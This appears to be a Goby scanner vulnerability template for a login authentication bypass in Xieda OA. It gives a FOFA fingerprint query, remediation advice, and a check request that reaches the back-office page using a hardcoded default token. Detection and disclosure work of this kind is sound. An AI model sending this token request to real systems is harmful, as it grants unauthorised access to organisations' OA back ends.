{
  "Name": "Xieda OA system bypasses login authentication",
  "Description": "<p>Xieda OA has a login authentication bypass vulnerability. Attackers use the default token to log in to the system background. <br></p>",
  "Product": "Xieda OA System",
  "Homepage": "http://www.ctop.cn/",
  "DisclosureDate": "2021-12-01",
  "Author": "learnupup@gmail.com",
  "FofaQuery": "body=\"/interface/CheckLoginName.jsp\"",
  "GobyQuery": "body=\"/interface/CheckLoginName.jsp\"",
  "Level": "2",
  "Impact": "<p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">The attacker uses the default token to log in to the system background. </span><br></p>",
  "Recommendation": "<p>1. Pay attention to the patch released by the manufacturer: <a href=\"http://www.ctop.cn/\">http://www.ctop.cn/</a></p><p> 2. Delete the default token</p>",
  "Translation": {
    "CN": {
      "Name": "协达OA系统绕过登录认证登陆后台",
      "Product": "协达OA系统",
      "Description": "<p>协达OA系统是一款全面先进的OA系统</p><p>协达 OA 存在登录认证绕过漏洞，攻击者利用默认的token登陆系统后台。<br></p>",
	  "Impact": "<p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">攻击者利用默认的token登陆系统后台，获取敏感信息进一步控制服务器。</span><br></p>",
      "Recommendation": "<p>1、关注厂商发布补丁：<a href=\"http://www.ctop.cn/\">http://www.ctop.cn/</a></p><p>2、删除默认token</p>",
      "VulType": [
        "权限绕过"
      ],
      "Tags": [
        "权限绕过"
      ]
    }
  },
  "References": [],
  "Is0day": false,
  "HasExp": false,
  "ExpParams": [],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/stylei/MainPage.jsp?token=YXR-YMD-SYQ-TOKEN",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "OA系统",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "我的桌面",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": null,
  "Tags": [
    "Permission bypass"
  ],
  "VulType": [
    "Permission bypass"
  ],
  "CVEIDs": [
    ""
  ],
  "CNNVD": [
    ""
  ],
  "CNVD": [
    ""
  ],
  "CVSSScore": "7.5",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}